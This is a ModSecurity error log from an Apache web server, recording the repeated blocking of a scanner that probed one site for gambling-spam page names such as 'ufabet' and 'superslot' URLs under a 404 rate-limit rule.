[Fri Feb 06 03:19:57.910750 2026] [:error] [pid 36360:tid 36406] [client 65.108.78.33:45812] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYTtXS1bWkx5cIvpsOkI5wAAAE8"]
[Fri Feb 06 03:20:00.645995 2026] [:error] [pid 36454:tid 36462] [client 65.108.78.33:45828] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYTtYDLa_KAFnAYn9UiN7wAAAMU"]
[Fri Feb 06 03:20:03.326101 2026] [:error] [pid 36360:tid 36408] [client 65.108.78.33:32044] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYTtYy1bWkx5cIvpsOkI6gAAAFE"]
[Fri Feb 06 03:20:06.016709 2026] [:error] [pid 36360:tid 36404] [client 65.108.78.33:32050] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYTtZi1bWkx5cIvpsOkI7gAAAE0"]
[Fri Feb 06 03:20:08.700727 2026] [:error] [pid 36360:tid 36406] [client 65.108.78.33:32056] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYTtaC1bWkx5cIvpsOkI8AAAAE8"]
[Fri Feb 06 03:20:11.578585 2026] [:error] [pid 36454:tid 36457] [client 65.108.78.33:32066] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYTtazLa_KAFnAYn9UiOAwAAAMA"]
[Fri Feb 06 03:20:14.197964 2026] [:error] [pid 36361:tid 36430] [client 65.108.78.33:17002] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYTtbi5x856PP9e7gRCFOAAAAIw"]
[Fri Feb 06 03:20:16.928321 2026] [:error] [pid 36359:tid 36373] [client 65.108.78.33:17010] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYTtcOpL9EnKEcV8s4gG1wAAAAk"]
[Fri Feb 06 03:20:19.633256 2026] [:error] [pid 36360:tid 36400] [client 65.108.78.33:17012] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYTtcy1bWkx5cIvpsOkI_wAAAEk"]
[Fri Feb 06 03:20:22.302541 2026] [:error] [pid 36454:tid 36478] [client 65.108.78.33:17022] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYTtdjLa_KAFnAYn9UiOGwAAANU"]
[Fri Feb 06 03:20:25.013518 2026] [:error] [pid 36454:tid 36469] [client 65.108.78.33:54836] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYTteTLa_KAFnAYn9UiOIAAAAMw"]
[Fri Feb 06 03:20:27.663991 2026] [:error] [pid 36454:tid 36462] [client 65.108.78.33:54848] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYTtezLa_KAFnAYn9UiOJAAAAMU"]
[Fri Feb 06 03:20:59.712368 2026] [:error] [pid 36454:tid 36460] [client 65.108.78.33:58500] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYTtmzLa_KAFnAYn9UiOVwAAAMM"]
[Fri Feb 06 03:21:02.487362 2026] [:error] [pid 36361:tid 36433] [client 65.108.78.33:58652] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYTtni5x856PP9e7gRCFggAAAI8"]
[Fri Feb 06 03:21:05.131210 2026] [:error] [pid 36454:tid 36472] [client 65.108.78.33:58654] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYTtoTLa_KAFnAYn9UiOXQAAAM8"]
[Fri Feb 06 03:21:07.820600 2026] [:error] [pid 36361:tid 36429] [client 65.108.78.33:58660] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYTtoy5x856PP9e7gRCFjwAAAIs"]
[Fri Feb 06 03:21:10.687708 2026] [:error] [pid 36454:tid 36473] [client 65.108.78.33:58664] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYTtpjLa_KAFnAYn9UiOZwAAANA"]
[Fri Feb 06 03:21:13.305194 2026] [:error] [pid 36454:tid 36474] [client 65.108.78.33:44452] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYTtqTLa_KAFnAYn9UiOagAAANE"]
[Fri Feb 06 03:21:24.297372 2026] [:error] [pid 36360:tid 36410] [client 65.108.78.33:35762] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYTttC1bWkx5cIvpsOkJSwAAAFM"]
[Fri Feb 06 03:21:26.986092 2026] [:error] [pid 36361:tid 36427] [client 65.108.78.33:35778] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYTtti5x856PP9e7gRCFsQAAAIk"]
[Fri Feb 06 03:21:29.827902 2026] [:error] [pid 36360:tid 36408] [client 65.108.78.33:35780] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYTtuS1bWkx5cIvpsOkJVQAAAFE"]
[Fri Feb 06 03:21:32.521016 2026] [:error] [pid 36361:tid 36437] [client 65.108.78.33:64098] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYTtvC5x856PP9e7gRCFvwAAAJM"]
[Fri Feb 06 03:21:35.251752 2026] [:error] [pid 36361:tid 36418] [client 65.108.78.33:64100] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYTtvy5x856PP9e7gRCFxgAAAIA"]
[Fri Feb 06 03:21:37.903682 2026] [:error] [pid 36361:tid 36425] [client 65.108.78.33:64110] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aYTtwS5x856PP9e7gRCF1gAAAIc"]
[Fri Feb 06 03:21:40.742626 2026] [:error] [pid 36361:tid 36424] [client 65.108.78.33:64122] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYTtxC5x856PP9e7gRCF3QAAAIY"]
[Fri Feb 06 03:21:43.498055 2026] [:error] [pid 36360:tid 36397] [client 65.108.78.33:12160] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYTtxy1bWkx5cIvpsOkJgQAAAEY"]
[Fri Feb 06 03:21:46.166332 2026] [:error] [pid 36359:tid 36381] [client 65.108.78.33:12172] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYTtyupL9EnKEcV8s4gHZQAAABE"]
[Fri Feb 06 03:21:48.976909 2026] [:error] [pid 36454:tid 36471] [client 65.108.78.33:12174] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYTtzDLa_KAFnAYn9UiO0wAAAM4"]
[Fri Feb 06 03:21:51.599649 2026] [:error] [pid 36361:tid 36421] [client 65.108.78.33:12178] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYTtzy5x856PP9e7gRCGBgAAAIM"]
[Fri Feb 06 03:21:54.229256 2026] [:error] [pid 36361:tid 36429] [client 65.108.78.33:63598] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYTt0i5x856PP9e7gRCGEgAAAIs"]
[Fri Feb 06 03:21:56.944709 2026] [:error] [pid 36454:tid 36469] [client 65.108.78.33:63602] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYTt1DLa_KAFnAYn9UiO9AAAAMw"]
[Fri Feb 06 03:22:29.139983 2026] [:error] [pid 36359:tid 36370] [client 65.108.78.33:59394] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYTt9epL9EnKEcV8s4gHugAAAAY"]
[Fri Feb 06 03:22:31.887707 2026] [:error] [pid 36361:tid 36439] [client 65.108.78.33:59396] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYTt9y5x856PP9e7gRCGWgAAAJU"]
[Fri Feb 06 03:22:34.514700 2026] [:error] [pid 36361:tid 36427] [client 65.108.78.33:40318] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYTt-i5x856PP9e7gRCGYAAAAIk"]
[Fri Feb 06 03:22:37.053359 2026] [:error] [pid 36454:tid 36467] [client 65.108.78.33:40324] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYTt_TLa_KAFnAYn9UiPOgAAAMo"]
[Fri Feb 06 03:22:39.684154 2026] [:error] [pid 36361:tid 36427] [client 65.108.78.33:40334] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYTt_y5x856PP9e7gRCGaAAAAIk"]
[Fri Feb 06 03:22:42.416951 2026] [:error] [pid 36359:tid 36377] [client 65.108.78.33:40348] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYTuAupL9EnKEcV8s4gHyQAAAA0"]
[Fri Feb 06 03:22:45.136776 2026] [:error] [pid 36454:tid 36477] [client 65.108.78.33:57968] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYTuBTLa_KAFnAYn9UiPWAAAANQ"]
[Fri Feb 06 03:22:47.819874 2026] [:error] [pid 36454:tid 36470] [client 65.108.78.33:57978] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYTuBzLa_KAFnAYn9UiPZAAAAM0"]
[Fri Feb 06 03:22:50.462650 2026] [:error] [pid 36359:tid 36382] [client 65.108.78.33:57988] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYTuCupL9EnKEcV8s4gH1QAAABI"]
[Fri Feb 06 03:22:53.127107 2026] [:error] [pid 36361:tid 36442] [client 65.108.78.33:45780] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYTuDS5x856PP9e7gRCGggAAAJg"]
[Fri Feb 06 03:22:55.824693 2026] [:error] [pid 36454:tid 36473] [client 65.108.78.33:45786] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYTuDzLa_KAFnAYn9UiPcgAAANA"]
[Fri Feb 06 03:22:58.488941 2026] [:error] [pid 36359:tid 36381] [client 65.108.78.33:45792] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYTuEupL9EnKEcV8s4gH5QAAABE"]
[Fri Feb 06 03:23:01.217218 2026] [:error] [pid 36360:tid 36397] [client 65.108.78.33:45804] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYTuFS1bWkx5cIvpsOkKWwAAAEY"]
[Fri Feb 06 03:23:04.083680 2026] [:error] [pid 36359:tid 36384] [client 65.108.78.33:24872] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYTuGOpL9EnKEcV8s4gH7wAAABQ"]
[Fri Feb 06 03:23:06.716563 2026] [:error] [pid 36360:tid 36394] [client 65.108.78.33:24876] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYTuGi1bWkx5cIvpsOkKcgAAAEM"]
[Fri Feb 06 03:23:09.517378 2026] [:error] [pid 36360:tid 36412] [client 65.108.78.33:24880] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYTuHS1bWkx5cIvpsOkKfAAAAFU"]
[Fri Feb 06 03:23:12.186052 2026] [:error] [pid 36359:tid 36373] [client 65.108.78.33:24892] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYTuIOpL9EnKEcV8s4gH_QAAAAk"]
[Fri Feb 06 03:23:14.773917 2026] [:error] [pid 36360:tid 36394] [client 65.108.78.33:42558] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYTuIi1bWkx5cIvpsOkKhgAAAEM"]
[Fri Feb 06 03:23:17.543798 2026] [:error] [pid 36454:tid 36470] [client 65.108.78.33:42574] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYTuJTLa_KAFnAYn9UiPgwAAAM0"]
[Fri Feb 06 03:23:20.288206 2026] [:error] [pid 36454:tid 36480] [client 65.108.78.33:42586] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYTuKDLa_KAFnAYn9UiPjAAAANc"]
[Fri Feb 06 03:23:23.026315 2026] [:error] [pid 36359:tid 36375] [client 65.108.78.33:44996] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYTuK-pL9EnKEcV8s4gIDwAAAAs"]
[Fri Feb 06 03:23:25.776743 2026] [:error] [pid 36361:tid 36428] [client 65.108.78.33:45002] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYTuLS5x856PP9e7gRCGsAAAAIo"]
[Fri Feb 06 13:10:42.799977 2026] [:error] [pid 3513:tid 3521] [client 56.125.5.34:41098] [client 56.125.5.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYV30jSw3-HAlzpqSxwyWAAAAUY"]
